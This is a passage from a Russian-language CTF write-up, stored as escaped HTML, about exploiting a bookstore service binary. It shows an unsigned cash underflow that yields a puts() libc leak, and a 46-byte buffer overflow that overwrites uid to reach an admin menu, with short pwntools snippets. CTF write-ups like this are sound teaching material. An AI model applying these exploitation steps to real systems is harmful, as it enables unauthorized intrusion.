\u0434\u043e\u043b\u0436\u0435\u043d \u0437\u043d\u0430\u0442\u044c PWN-\u0435\u0440.<\/p>\n<blockquote>\n<p>\u0414\u0438\u0441\u043a\u043b\u0435\u0439\u043c\u0435\u0440: \u0412\u0441\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435, \u0432\u0437\u044f\u0442\u044b \u0438\u0437 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u043d\u0435 \u043f\u0440\u0438\u0437\u044b\u0432\u0430\u044e\u0442 \u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044e \u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043b\u0438\u0448\u044c \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0434\u043b\u044f \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u043b\u0435\u043d\u0438\u044f, \u0438 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439<\/p>\n<\/blockquote>\n<figure class=\"full-width\"><\/figure>\n<h4>\u0418\u0437\u0443\u0447\u0430\u0435\u043c \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u0430\u0439\u043b<\/h4>\n<p>\u041f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437, \u043f\u043e \u043a\u0440\u0430\u0439\u043d\u0435\u0439 \u043c\u0435\u0440\u0435 \u0443 \u043c\u0435\u043d\u044f, \u043d\u0430\u0447\u0438\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0442\u0430\u043a:<\/p>\n<ol>\n<li>\n<p><code>file<\/code><\/p>\n<\/li>\n<li>\n<p><code>strings<\/code><\/p>\n<\/li>\n<li>\n<p><code>checksec<\/code><\/p>\n<\/li>\n<li>\n<p><code>xxd binary | grep \"UPX\"<\/code><\/p>\n<\/li>\n<li>\n<p><code>seccomp-tools<\/code><\/p>\n<\/li>\n<\/ol>\n<p>\u0412\u0440\u0443\u0447\u043d\u0443\u044e \u043f\u0440\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u044d\u0442\u043e \u043d\u0435 \u0431\u0443\u0434\u0443, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432\u0441\u0435 \u044d\u0442\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043e \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435  <strong>J0llyTr0LLz<\/strong>.<\/p>\n<p>\u0413\u043b\u0430\u0432\u043d\u043e\u0435 \u043e\u043a\u043d\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0413\u043e\u0440\u044f\u0447\u0435\u0439 \u043a\u043b\u0430\u0432\u0438\u0448\u0435\u0439 <code>Ctrl+O<\/code> \u043e\u0442\u043a\u0440\u043e\u0435\u043c \u0444\u0430\u0439\u043b \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043e\u043d \u0438\u0437 \u0441\u0435\u0431\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u043e <code>readelf<\/code> \u0432 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0435 \u043d\u0438\u0447\u0435\u0433\u043e \u0442\u0430\u043a\u043e\u0433\u043e \u043d\u0435 \u0432\u0438\u0434\u043d\u043e. \u041f\u0440\u043e\u0441\u0442\u043e \u044d\u043b\u044c\u0444\u0430\u0440\u044c 64 \u0440\u0430\u0437\u0440\u044f\u0434\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e\u0440\u044f\u0434\u043a\u043e\u043c \u0431\u0430\u0439\u0442 little-end.<\/p>\n<p>\u0412 <code>file<\/code> \u0442\u043e\u0436\u0435 \u043d\u0438\u0447\u0435\u0433\u043e \u0443\u0434\u0438\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041d\u0435\u0442 \u043a\u0430\u043d\u0430\u0440\u0435\u0439\u043a\u0438, \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0440\u0430\u043d\u0434\u043e\u043c\u0438\u0437\u0430\u0446\u0438\u044f \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0438 \u0431\u0438\u043d\u0430\u0440\u044c \u043d\u0435 \u0443\u043f\u0430\u043a\u043e\u0432\u0430\u043d UPX<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c, \u0435\u0441\u0442\u044c \u043b\u0438 \u0433\u0430\u0434\u0436\u0435\u0442\u044b \u043f\u043e \u0442\u0438\u043f\u0443 <code>pop rax; ret<\/code> \u0438\u043b\u0438 <code>pop rsi; ret<\/code>. \u0412\u0434\u0440\u0443\u0433 \u043f\u0440\u0438\u0433\u043e\u0434\u044f\u0442\u0441\u044f. \u041d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438&#8230;<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0447\u0435\u043a\u043d\u0435\u043c \u0441\u0442\u043e\u043a\u0438 \u043d\u0430\u0436\u0430\u0432 \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044e <code>Ctrl+S<\/code>.<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044e, \u0435\u0441\u0442\u044c \u043b\u0438 <code>seccomp<\/code>. \u041e\u043d\u0438, \u043e\u0431\u044b\u0447\u043d\u043e, \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u044e\u0442\u0441\u044f \u0432 \u0441\u0442\u0440\u043e\u043a\u0430\u0445<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041d\u0438\u0447\u0435\u0433\u043e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438. \u041f\u043e\u0439\u0434\u0435\u043c \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441.<\/p>\n<h4>\u0418\u0433\u0440\u0430\u0435\u043c \u0441 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u043c<\/h4>\n<p>\u0412 \u0433\u043b\u0430\u0432\u043d\u043e\u043c \u043e\u043a\u043d\u0435 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0435\u0442\u0441\u044f \u043c\u0435\u043d\u044e, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u043e\u0436\u043d\u043e:<\/p>\n<ol>\n<li>\n<p>\u041d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043a\u043d\u0438\u0433\u0443<\/p>\n<\/li>\n<li>\n<p>\u041a\u0443\u043f\u0438\u0442\u044c \u043a\u043d\u0438\u0433\u0443<\/p>\n<\/li>\n<li>\n<p>\u041d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u043f\u0435\u0446\u043a\u043d\u0438\u0433\u0443, \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0443\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u043e\u043c<\/p>\n<\/li>\n<li>\n<p>\u0412\u044b\u0439\u0442\u0438<\/p>\n<\/li>\n<\/ol>\n<p>\u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043a\u0443\u043f\u0438\u0442\u044c \u043a\u043d\u0438\u0433\u0443:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041b\u0430\u0434\u043d\u043e. \u041a\u0443\u043f\u0438\u043b\u0438 \u043a\u043d\u0438\u0433\u0443 \u0438, \u043d\u0430\u0432\u0435\u0440\u043d\u043e\u0435, \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c 75 \u0431\u0430\u043a\u0441\u043e\u0432 \u0438 \u0442\u0440\u0430\u0442\u0438\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043c\u043e\u0436\u0435\u043c. \u0422\u0430\u043a \u0436\u0435 \u043d\u0430\u0441 \u043f\u0440\u043e\u0441\u044f\u0442 \u043a\u0430\u043a\u043e\u0435-\u0442\u043e \u043f\u043e\u0436\u0435\u0440\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0435. \u041f\u043e\u043a\u0430 \u043e\u0441\u0442\u0430\u0432\u0438\u043c \u044d\u0442\u043e\u0442 \u043f\u0443\u043d\u043a\u0442.<\/p>\n<p>\u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043a\u043d\u0438\u0433\u0443. \u0412\u0438\u0434\u0438\u043c\u043e, \u043f\u0435\u0440\u0435\u0434 \u043d\u0430\u043c\u0438 \u0432\u044b\u0431\u043e\u0440 \u0438\u043b\u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043a\u043d\u0438\u0433\u0443 \u0438\u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0430\u0443\u0434\u0438\u043e\u043a\u043d\u0438\u0433\u0443<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041e\u0442\u0432\u0435\u0442\u0438\u043c, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043d\u0435\u0442( N ) \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u043c \u043a\u0430\u043a\u0443\u044e-\u043d\u0438\u0431\u0443\u0434\u044c \u0441\u0442\u0440\u043e\u0447\u043a\u0443<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0438\u0433\u0440\u044b \u0441 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u043c \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u0434\u0435\u043b\u0438\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u0432 \u043f\u0443\u043d\u043a\u0442 \u043d\u043e\u043c\u0435\u0440 3 &#8212; <code>Write a special book (ADMINS ONLY) (0)<\/code>. \u0422\u0443\u0434\u0430 \u0438 \u0431\u0443\u0434\u0435\u043c \u0441\u0442\u0440\u0435\u043c\u0438\u0442\u044c\u0441\u044f \u043f\u043e\u043f\u0430\u0441\u0442\u044c.<\/p>\n<h4>\u0420\u0435\u0432\u0435\u0440\u0441<\/h4>\n<p>\u0420\u0435\u0432\u0435\u0440\u0441 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u0431\u0443\u0434\u0435\u0442 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u0432 IDA Pro. \u041d\u0430\u0447\u043d\u0443 \u0440\u0435\u0432\u0435\u0440\u0441 \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u043a\u0443\u043f\u0430\u0435\u043c \u043a\u043d\u0438\u0433\u0438. \u0412\u0441\u0435 \u0431\u043b\u043e\u043a\u0438 \u043f\u043e\u0445\u043e\u0436\u0438. \u0425\u0432\u0430\u0442\u0430\u0435\u0442 \u0434\u0435\u043d\u0435\u0433 &#8212; \u0432\u044b\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u0443\u043c\u043c\u0430, \u0438\u043d\u0430\u0447\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 <code>You don't have enough cash!<\/code>.<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e <code>cash<\/code>.<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0412\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u044d\u0442\u043e <code>int<\/code>. \u041c\u043e\u0436\u0435\u0442 \u044d\u0442\u043e <code>unsigned int<\/code>? \u041f\u0440\u043e\u0441\u0442\u043e, \u0435\u0441\u043b\u0438 \u0440\u0430\u0441\u0441\u0443\u0436\u0434\u0430\u0442\u044c \u0438\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043a, \u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435: \u043a\u043e\u0433\u0434\u0430 cash \u043c\u0435\u043d\u044c\u0448\u0435 0, \u0432 \u043d\u0435\u043c \u0431\u0443\u0434\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c\u0441\u044f \u0441\u0430\u043c\u043e\u0435 \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435<\/p>\n<p><code>\u0435\u0441\u043b\u0438 cash &lt; 0, \u0442\u043e cash = 0xFFFFFFFF 0xFFFFFFFF = 4294967295 <\/code><\/p>\n<p>\u0412\u043e\u043f\u0440\u043e\u0441 \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u0440\u0443\u0433\u043e\u0439. \u041a\u0430\u043a \u0434\u043e\u0439\u0442\u0438 \u0434\u043e \u044d\u0442\u043e\u0433\u043e? \u041d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043c\u043d\u044e, \u0431\u044b\u043b\u0430 \u0440\u0435\u0447\u044c \u043e \u043f\u043e\u0436\u0435\u0440\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0438. \u041f\u0440\u043e\u0440\u0435\u0432\u0435\u0440\u0441\u0438\u043c \u044d\u0442\u043e\u0442 \u043a\u0443\u0441\u043e\u043a \u043a\u043e\u0434\u0430<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0418 \u0442\u0443\u0442 \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c, \u0447\u0442\u043e \u043d\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 cash. \u0412\u0441\u0435\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u043d\u0438\u043c\u0430\u0442\u044c\u0441\u044f 10 \u043f\u043e\u0438\u043d\u0442\u043e\u0432 \u043f\u0440\u0438 \u043f\u043e\u0436\u0435\u0440\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0438. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0442\u0435\u043f\u0435\u0440\u044c \u0442\u0435\u043e\u0440\u0438\u044e \u0441 \u0431\u0435\u0437\u0437\u043d\u0430\u043a\u043e\u0432\u044b\u043c \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u043c. \u0421\u0440\u0430\u0437\u0443 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e<\/p>\n<p><code>for i in range(8):<br \/>     io.recvuntil(b'4) Check out')<br \/>     io.sendline(b'2')<br \/>     io.sendline(b'2')<br \/>     io.sendline(b'y')<\/code><\/p>\n<p>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041d\u0430\u0441\u0442\u0430\u043b \u043c\u043e\u043c\u0435\u043d\u0442, \u043a\u043e\u0433\u0434\u0430 \u0443\u0448\u043b\u0438 \u0432 \u043c\u0438\u043d\u0443\u0441. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0431\u0430\u043b\u0430\u043d\u0441<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0422\u0435\u043e\u0440\u0438\u044f \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430! \u042d\u0442\u043e \u0431\u044b\u043b\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u0441 \u0442\u0438\u043f\u043e\u043c \u0434\u0430\u043d\u043d\u044b\u0445 &#8212;  <code>unsigned int<\/code>. \u0422\u0435\u043f\u0435\u0440\u044c \u043a\u0443\u043f\u0438\u043c \u043a\u043d\u0438\u0436\u043a\u0443<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041a\u0430\u043a \u0438 \u043e\u0436\u0438\u0434\u0430\u043b\u043e\u0441\u044c &#8212; \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0443\u0442\u0435\u0447\u043a\u0443 <code>puts()<\/code> \u0438\u0437 libc. \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0431\u0430\u0437\u0443 libc, \u0438 \u0434\u0430\u043b\u044c\u0448\u0435 \u0434\u0435\u043b\u0430\u0442\u044c \u0447\u0442\u043e \u0443\u0433\u043e\u0434\u043d\u043e \u0443\u0433\u043e\u0434\u043d\u043e.<\/p>\n<p>\u0411\u0430\u0437\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a:<\/p>\n<p><code>LEAK_FUNC_ADDR = LIBC_BASE + OFFSET<\/code><\/p>\n<p>\u0417\u043d\u0430\u0447\u0438\u0442, \u0438\u0449\u0435\u043c \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435 <code>puts()<\/code> \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 \u0438 \u0432\u044b\u0447\u0438\u0442\u0430\u0435\u043c \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0438\u0437 \u0443\u0442\u0435\u0447\u043a\u0438.<\/p>\n<p>\u0421 \u044d\u0442\u0438\u043c \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\u0441\u044c. \u0422\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u0434\u043c\u0438\u043d \u043f\u0430\u043d\u0435\u043b\u0435. \u041f\u0435\u0440\u0435\u0434 \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442. \u0421\u0440\u0430\u0437\u0443 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043b \u0435\u0433\u043e \u0432 <code>uid<\/code><\/p>\n<figure class=\"\"><\/figure>\n<p>\u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043e\u043d \u0440\u0430\u0432\u0435\u043d 0<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041e\u0434\u043d\u0430\u043a\u043e, \u043f\u0430\u043c\u044f\u0442\u044c \u0443\u0442\u0441\u0440\u043e\u0435\u043d\u0430 \u0442\u0430\u043a, \u0447\u0442\u043e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0438\u0434\u0435\u0442 \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u0431\u0443\u0444\u0444\u0435\u0440, \u043f\u043e\u0442\u043e\u043c \u0432\u044b\u0431\u043e\u0440 \u043f\u0443\u043d\u043a\u0442\u0430 \u043c\u0435\u043d\u044e \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0432\u0441\u0435\u0433\u043e &#8212; <code>uid<\/code>. \u041f\u043e \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044f\u043c \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0442\u0430\u043a\u0438\u0435 \u0432\u044b\u0432\u043e\u0434\u044b:<\/p>\n<ol>\n<li>\n<p><code>buf<\/code> \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 43 \u0431\u0430\u0439\u0442\u0430<\/p>\n<\/li>\n<li>\n<p><code>choose<\/code> \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 1 \u0431\u0430\u0439\u0442<\/p>\n<\/li>\n<li>\n<p><code>uid<\/code> \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 4 \u0431\u0430\u0439\u0442\u0430<\/p>\n<\/li>\n<\/ol>\n<p>\u0417\u043d\u0430\u0447\u0438\u0442 \u043d\u0443\u0436\u043d\u043e \u0432\u0432\u0435\u0441\u0442\u0438 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c 46 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f.<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0422\u043e \u0435\u0441\u0442\u044c, \u0435\u0441\u043b\u0438 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0431\u0443\u0444\u0444\u0435\u0440, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c <code>uid<\/code>. \u0422\u0435\u043f\u0435\u0440\u044c \u0432\u043e\u043f\u0440\u043e\u0441: \u043a\u0430\u043a \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0431\u0443\u0444\u0444\u0435\u0440?<\/p>\n<p>\u041f\u043e \u043f\u0435\u0440\u0435\u043a\u0440\u0435\u0441\u0442\u043d\u044b\u043c \u0441\u0441\u044b\u043b\u043a\u0430\u043c \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u044d\u0442\u043e \u043c\u0435\u0441\u0442\u043e \u0432 \u0433\u043b\u0430\u0432\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438<\/p>\n<figure class=\"full-width\"><\/figure>\n<figure class=\"\"><\/figure>\n<p>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <code>writeBook()<\/code> &#8212; \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u0431\u0443\u0444\u0444\u0435\u0440.<\/p>\n<p>\u0412 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043e\u043d \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u0435\u0449\u0435 \u043e\u0434\u043d\u043e\u043c\u0443 \u043c\u0430\u0441\u0441\u0438\u0432\u0443<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u042d\u0442\u043e\u0442 \u043c\u0430\u0441\u0441\u0438\u0432, <code>[rbp+s]<\/code> \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0430\u043c\u043e\u043c \u043a\u043e\u043d\u0446\u0435. \u0412 \u043d\u0435\u0433\u043e \u0438\u043b\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0432\u043e\u0434\u0438\u043c\u0430\u044f \u043d\u0430\u043c\u0438 \u0441\u0442\u0440\u043e\u043a\u0430 \u0438\u043b\u0438 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442\u0441\u044f<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0412\u0432\u043e\u0434 <code>[rbp+src]<\/code>  \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d 40 \u0441\u0438\u043c\u0432\u043e\u043b\u0430\u043c\u0438<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0418 \u043a\u0430\u043a \u0442\u043e\u0433\u0434\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0438\u0442\u044c? \u041e\u0442\u0432\u0435\u0442 \u043f\u0440\u043e\u0441\u0442. \u041d\u0443\u0436\u043d\u043e \u043b\u0438\u0448\u044c \u043f\u0440\u043e\u043b\u0438\u0441\u0442\u0430\u0442\u044c \u043b\u0438\u0441\u0442\u0438\u043d\u0433 \u0447\u0443\u0442\u044c \u0432\u044b\u0448\u0435<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0417\u0434\u0435\u0441\u044c \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435. \u0415\u0441\u043b\u0438 \u043d\u0430\u0436\u0438\u043c\u0430\u0435\u043c <code>y<\/code>, \u0442\u043e \u0432 \u043c\u0430\u0441\u0441\u0438\u0432 <code>[rbp+s]<\/code> \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u0434\u043b\u0438\u043d\u043e\u0439 6 &#8212; <code>(AB): <\/code><\/p>\n<p>\u041a\u0430\u0440\u0442\u0438\u043d\u0430  \u0431\u0443\u0434\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f:<\/p>\n<p><code>s = '(AB): '<br \/>s += 'A' * 40<br \/>len(s) = 46<\/code><\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043c\u0430\u0441\u0441\u0438\u0432 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0432\u0435\u043d 46 \u0441\u0438\u043c\u0432\u043e\u043b\u0430\u043c, \u043a\u0430\u043a \u043d\u0430\u043c \u0438 \u043d\u0430\u0434\u043e. \u0422\u0443\u0442 \u0434\u0430\u0436\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0442\u044c \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0443\u0436\u043d\u043e. \u0411\u0430\u043d\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c 40 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0438 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u043f\u0440\u043e \u0430\u0443\u0434\u0438\u043e\u043a\u043d\u0438\u0433\u0443 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u043c \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041a\u0430\u043a \u0432\u0438\u0434\u0438\u043c, <code>uid<\/code> \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0441\u044f \u043d\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 65, \u0447\u0442\u043e \u043f\u043e ASCII \u0442\u0430\u0431\u043b\u0438\u0446\u0435 \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 <code>A<\/code>.<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0437\u0430\u0433\u043b\u044f\u043d\u0435\u043c \u0432 \u0430\u0434\u043c\u0438\u043d\u0441\u043a\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u0440\u043e\u0441\u044f\u0442 \u0447\u0442\u043e-\u0442\u043e \u0432\u0432\u0435\u0441\u0442\u0438. \u041f\u0440\u043e\u0441\u0442\u043e \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c 256 